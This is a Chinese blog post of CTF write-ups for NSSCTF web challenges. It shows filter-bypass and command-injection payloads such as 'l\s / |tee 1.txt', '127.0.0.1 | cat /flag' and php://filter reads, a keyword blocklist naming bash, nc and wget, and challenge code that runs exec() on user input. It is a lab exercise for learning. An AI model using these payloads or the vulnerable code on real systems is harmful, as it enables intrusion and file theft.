NSSCTF做题(3)

news2024/11/30 8:43:51

[鹤城杯 2021]EasyP

代码审计

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {//两个变量相等
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();//正则表达式
}else{
    show_source(__FILE__);
}
?> 
 

解析:

  1. 通过include 'utils.php';语句引入了一个名为utils.php的外部文件,该文件可能包含一些辅助函数或变量。

  2. 当通过POST请求提交了名为guess的表单参数时,代码会执行以下逻辑:

    • $_POST['guess']的值转换为字符串,并赋给变量$guess
    • 如果$guess的值与一个名为$secret的变量的值相等,那么会将一个包含"Congratulations! The flag is: "以及$flag值的消息赋给变量$message
    • 否则,将一个包含"Wrong. Try Again"的消息赋给变量$message
  3. 通过正则表达式检查以下条件:

    • 如果$_SERVER['PHP_SELF']utils.php结尾,那么输出"hacker :)"并终止脚本执行。
    • 如果$_SERVER['REQUEST_URI']包含字符串show_source,那么输出"hacker :)"并终止脚本执行。
  4. 如果通过GET请求提交了名为show_source的参数,那么会将当前脚本文件的源代码以语法高亮的形式输出,并终止脚本执行。

  5. 如果没有提交show_source参数,那么会将当前脚本文件的源代码以普通文本的形式输出。

了解了这些,看看我们要构造的payload

get:utils.php/show_source=1

这里show_source随便定义即可

  • 接着一个个过滤,先考虑第二个if语句,我们在utils.php后面加一个非ascii字符即可(因为是从后往前找,遇到非ascii字符就停了):
  • /utils.php/哈哈?show_source=1
  • PHP $_SERVER

    $_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。

    以下实例中展示了如何使用$_SERVER中的元素:

    实例

    <?php echo $_SERVER['PHP_SELF'];

    echo "<br>";

    echo $_SERVER['SERVER_NAME'];

    echo "<br>";

    echo $_SERVER['HTTP_HOST'];

    echo "<br>";

    echo $_SERVER['HTTP_REFERER'];

    echo "<br>";

    echo $_SERVER['HTTP_USER_AGENT'];

    echo "<br>";

    echo $_SERVER['SCRIPT_NAME']; ?>
    运行实例 »

    下表列出了所有 $_SERVER 变量中的重要元素:

    元素/代码描述
    $_SERVER['PHP_SELF']当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/test.php/foo.bar 的脚本中使用 $_SERVER['PHP_SELF'] 将得到 /test.php/foo.bar。__FILE__ 常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用。
    $_SERVER['GATEWAY_INTERFACE']服务器使用的 CGI 规范的版本;例如,"CGI/1.1"。
    $_SERVER['SERVER_ADDR']当前运行脚本所在的服务器的 IP 地址。
    $_SERVER['SERVER_NAME']当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。(如: www.runoob.com)
    $_SERVER['SERVER_SOFTWARE']服务器标识字符串,在响应请求时的头信息中给出。 (如:Apache/2.2.24)
    $_SERVER['SERVER_PROTOCOL']请求页面时通信协议的名称和版本。例如,"HTTP/1.0"。
    $_SERVER['REQUEST_METHOD']访问页面使用的请求方法;例如,"GET", "HEAD","POST","PUT"。
    $_SERVER['REQUEST_TIME']请求开始时的时间戳。从 PHP 5.1.0 起可用。 (如:1377687496)
    $_SERVER['QUERY_STRING']query string(查询字符串),如果有的话,通过它进行页面访问。
    $_SERVER['HTTP_ACCEPT']当前请求头中 Accept: 项的内容,如果存在的话。
    $_SERVER['HTTP_ACCEPT_CHARSET']当前请求头中 Accept-Charset: 项的内容,如果存在的话。例如:"iso-8859-1,*,utf-8"。
    $_SERVER['HTTP_HOST']当前请求头中 Host: 项的内容,如果存在的话。
    $_SERVER['HTTP_REFERER']引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。)
    $_SERVER['HTTPS']如果脚本是通过 HTTPS 协议被访问,则被设为一个非空的值。
    $_SERVER['REMOTE_ADDR']浏览当前页面的用户的 IP 地址。
    $_SERVER['REMOTE_HOST']浏览当前页面的用户的主机名。DNS 反向解析不依赖于用户的 REMOTE_ADDR。
    $_SERVER['REMOTE_PORT']用户机器上连接到 Web 服务器所使用的端口号。
    $_SERVER['SCRIPT_FILENAME']当前执行脚本的绝对路径。
    $_SERVER['SERVER_ADMIN']该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上,则该值是那个虚拟主机的值。(如:someone@runoob.com)
    $_SERVER['SERVER_PORT']Web 服务器使用的端口。默认值为 "80"。如果使用 SSL 安全连接,则这个值为用户设置的 HTTP 端口。
    $_SERVER['SERVER_SIGNATURE']包含了服务器版本和虚拟主机名的字符串。
    $_SERVER['PATH_TRANSLATED']当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。
    $_SERVER['SCRIPT_NAME']包含当前脚本的路径。这在页面需要指向自己时非常有用。__FILE__ 常量包含当前脚本(例如包含文件)的完整路径和文件名。
    $_SERVER['SCRIPT_URI']URI 用来指定要访问的页面。例如 "/index.html"。
  • GET或POST方式传进去的变量名,会自动将空格 + . [转换为_

    所以这里我们传入show[source先通过第三个if,在第四个if中GET传参的时候会转换回_

     utils.php/哈哈?show[source=1

 看完了这些也没有特别清晰,很多东西都要来用自己的php来调试才可以,这里推荐一个博主的博客 [鹤城杯 2021]EasyP-CSDN博客

写的非常详细也易懂

这就解释了最后传的payload是index.php/utils.php/哈哈?show[source=1

[SWPUCTF 2021 新生赛]finalrce 

php代码审计

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }

 可以发现过滤了一堆字符,最后还有一个exec函数,来了解一下

PHP exec方法是一个强大的命令行执行工具,可以执行系统命令或者外部程序,并且将结果输出给用户。在Web开发中,exec是一种特别有用的方法,特别是在执行一些需要与系统交互的任务时,例如创建文件或者执行一些运行在操作系统中的程序。

exec(string $command, array &$output = null, int &$result_code = null): string|false 

exec() 执行 command 参数所指定的命令。如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。如果同时提供 outputresult_code 参数,命令执行后的返回状态会被写入到result_code

返回命令执行结果的最后一行内容。

因此我们知道直接传入命令是没有回显的,这也是标签打上未回显RCE的原因

之前考核的时候做过这种类似的题,还是没有记住这种无回显rce是什么

这里需要用到一个tee命令

tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

就是相当于我们把想访问的文件放到1.txt里面,然后再去1.txt文件里边看我们要读取的内容

构造payload:

?url=l\s / |tee 1.txt(在1.txt里面显示根目录)

找到了flag文件

 接着构造:

?url=tac /flllll\aaaaaaggggggg |tee 2.txt(把flag放到2.txt里面读取)l\a的原因是过滤了la

cat被过滤掉了,就可以用tac来绕过

找到了flag

[LitCTF 2023]1zjs

在js代码里边找到这个页面,应该是一个加密,破解一下 最后是jsfuck加密

破解后去掉[]就可以了

[LitCTF 2023]Ping

输入命令有回显,应该是js前端的,看看给他禁用掉

 输入命令:

还是用通配符绕过

找到了flag

 127.0.0.1 | cat /flag

[LitCTF 2023]Follow me and hack me

直接get,post传参

[鹏城杯 2022]简单包含 

 

不知道他过滤了啥东西,先尝试一下,要post传参

访问半天没反应 先看看index 出来了编码 解个码

<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>

发现了过滤的东西 ,

要求满足传入有flag并且传入的字符数要>800才会满足包含条件

直接加一点没有的东西进去,在用filter读取就完事了

 解码得到flag

[SWPUCTF 2022 新生赛]ez_ez_php 

 

substr() 函数返回字符串的一部分。

注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。


语法

substr(string,start,length)

这是函数substr()的用法

这个意思就是要用php伪协议进行读取文件

 php://filter/read=convert.base64-encode/resource=flag.php

没绕过去

 

去掉php,审题不仔细了

 ?file=php://filter/read=convert.base64-encode/resource=flag

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1054891.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java多线程相关介绍

1. 线程的创建和启动 在 Java 中创建线程有两种方式。一种是继承 Thread 类并重写其中的 run() 方法&#xff0c;另一种是实现 Runnable 接口并重写其中的 run() 方法。创建完线程对象后&#xff0c;调用 start() 方法可以启动线程。 2. 线程的状态 Java 的线程在不同阶段会处于…

计算机竞赛 深度学习火车票识别系统

文章目录 0 前言1 课题意义课题难点&#xff1a; 2 实现方法2.1 图像预处理2.2 字符分割2.3 字符识别部分实现代码 3 实现效果4 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 图像识别 火车票识别系统 该项目较为新颖&#xff0c;适…

牛客网_HJ2_计算某字符出现次数

HJ2_计算某字符出现次数 原题思路代码运行截图收获 原题 HJ2_计算某字符出现次数 思路 把输入的字符串和字符都变成大写或小写&#xff0c;然后逐一计数 代码 #include <cctype> #include <iostream> #include <string> #include <algorithm> usi…

Python3数据科学包系列(二):数据分析实战

Python3中类的高级语法及实战 Python3(基础|高级)语法实战(|多线程|多进程|线程池|进程池技术)|多线程安全问题解决方案 Python3数据科学包系列(一):数据分析实战 Python3数据科学包系列(二):数据分析实战 一&#xff1a;通过read_table函数读取数据创建(DataFrame)数据框 #…

数据结构:复杂度分析

目录 1 算法效率评估 1.1 实际测试 1.2 理论估算 2 迭代与递归 2.1 迭代 1. for 循环 2. while 循环 3. 嵌套循环 2.2 递归 1. 调用栈 2. 尾递归 3. 递归树 2.3 两者对比 3 时间复杂度 3.1 统计时间增长趋势 3.2 函数渐近上界…

Unity HDRP Custom Pass 实现场景雪地效果

先使用Shader Graph连一个使用模型法线添加雪地的shader&#xff0c;并赋给一个material。 1.1 先拿到模型世界坐标下的顶点法线&#xff0c;简单处理一下&#xff0c;赋给透明度即可。 给场景添加Custom Pass&#xff0c;剔除不需要的层级。 1.在Hierarchy界面中&#xff…

Ps:选择高光阴影中间调的方法

素描中的三大面&#xff1a;明面、灰面及暗面&#xff0c;基本上可对应数字图像中的高光、中间调和阴影。选出数字图像的这三大区域&#xff0c;可快速进行分级调色。 说明&#xff1a; 在练习过程中&#xff0c;为了更清楚地识别选择的范围&#xff0c;可以建立一个从黑到白的…

Promise击鼓传花的游戏

Promise击鼓传花的游戏 Promise系列导航前言一、学习Promise的原因二、揭开击鼓传花游戏的面纱补充小知识 Promise系列导航 1.Promise本质击鼓传花的游戏 2.Promise四式击鼓 3.Promise击鼓传花 4.Promise花落谁家知多少 前言 &#x1f468;‍&#x1f4bb;&#x1f468;‍&…

竞赛 大数据房价预测分析与可视

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 大数据房价预测分析与可视 &#x1f947;学长这里给一个题目综合评分(每项满分5分) 难度系数&#xff1a;3分工作量&#xff1a;3分创新点&#xff1a;4分 该项目较为新颖&#xff0c;适合…

Spring5 自定义标签开发

spring5 自定义脚本开发步骤 1 定义bean&#xff0c; public class User {private String id;private String userName;private String email;private String password;public String getId() {return id;}public void setId(String id) {this.id id;}public String getUser…

计组+系统02:30min导图复习 存储系统

&#x1f433;前言 图源&#xff1a;文心一言 考研笔记整理&#xff0c;纯复习向&#xff0c;思维导图基本就是全部内容了&#xff0c;不会涉及较深的知识点~~&#x1f95d;&#x1f95d; 第1版&#xff1a;查资料、画思维导图~&#x1f9e9;&#x1f9e9; 编辑&#xff1a;…

C 语言关键字_at_的使用

查看一些老旧代码的时候看到有这么一段。 这个函数是轮询执行的&#xff0c;但是sourceinsight却没有找到vs_ucLedSegDutyRam的定义&#xff0c;全局搜索才找得到&#xff0c;结果发现原来它的定义很奇特。 里面用了_at_这个东西 _at_是让定义的vs_ucLedSegDutyRam首地址定义在…

常说的I2C协议是干啥的(电子硬件)

I2C&#xff08;Inter-Integrated circuit&#xff09;协议是电子传输信号中常用的一种协议。 它是一种两线式串行双向总线&#xff0c;用于连接微控制器和外部设备&#xff0c;也因为它所需的引脚数只需要两条&#xff08;CLK和DATA&#xff09;&#xff0c;硬件实现简单&…

机器人入门(一)

机器人入门&#xff08;一&#xff09; 一、ROS是什么&#xff0c;能用来干什么&#xff1f;二、哪些机器人用到了ROS&#xff1f;三、ROS和操作系统是绑定的吗&#xff1f;四、ROS 1 和ROS 2的关系是什么&#xff1f;4.1架构中间件改变API改变数据格式改变 4.2特性4.3工具/生态…

JavaScript中如何确定this的值?如何指定this的值?

&#x1f380;JavaScript中的this 在绝大多数情况下&#xff0c;函数的调用方法决定了this的值&#xff08;运行时绑定&#xff09;。this不能在执行期间被赋值&#xff0c;并且在每次函数呗调用时this的值也可能会不同。 &#x1f37f;如何确定this的值&#xff1a; 在非严格…

计算机竞赛 深度学习机器视觉车道线识别与检测 -自动驾驶

文章目录 1 前言2 先上成果3 车道线4 问题抽象(建立模型)5 帧掩码(Frame Mask)6 车道检测的图像预处理7 图像阈值化8 霍夫线变换9 实现车道检测9.1 帧掩码创建9.2 图像预处理9.2.1 图像阈值化9.2.2 霍夫线变换 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分…

209. 长度最小的子数组(滑动窗口)

一、题目 209. 长度最小的子数组 - 力扣&#xff08;LeetCode&#xff09; 二、代码 class Solution { public:int minSubArrayLen(int target, vector<int>& nums) {int left 0, right 0;int sum nums[right];int MinLength INT_MAX;while (left <nums.siz…

【React】React组件生命周期以及触发顺序(部分与vue做比较)

最近在学习React&#xff0c;发现其中的生命周期跟Vue有一些共同点&#xff0c;但也有比较明显的区别&#xff0c;并且执行顺序也值得讨论一下&#xff0c;于是总结了一些资料在这里&#xff0c;作为学习记录。 v17.0.1后生命周期图片 初始化阶段 由ReactDOM.render()触发 —…

openGauss学习笔记-86 openGauss 数据库管理-内存优化表MOT管理-内存表特性-MOT部署配置

文章目录 openGauss学习笔记-86 openGauss 数据库管理-内存优化表MOT管理-内存表特性-MOT部署配置86.1 总体原则86.2 重做日志&#xff08;MOT&#xff09;86.3 检查点&#xff08;MOT&#xff09;86.4 恢复&#xff08;MOT&#xff09;86.5 统计&#xff08;MOT&#xff09;86…

【C++】unordered_set、unordered_map的介绍及使用

unordered_set、unordered_map的介绍及使用 一、unordered系列关联式容器二、unordered_map and unordered_multimap1、unordered_map的介绍2、unordered_map的使用&#xff08;1&#xff09;定义&#xff08;2&#xff09;接口使用 3、unordered_multimap 二、unordered_set a…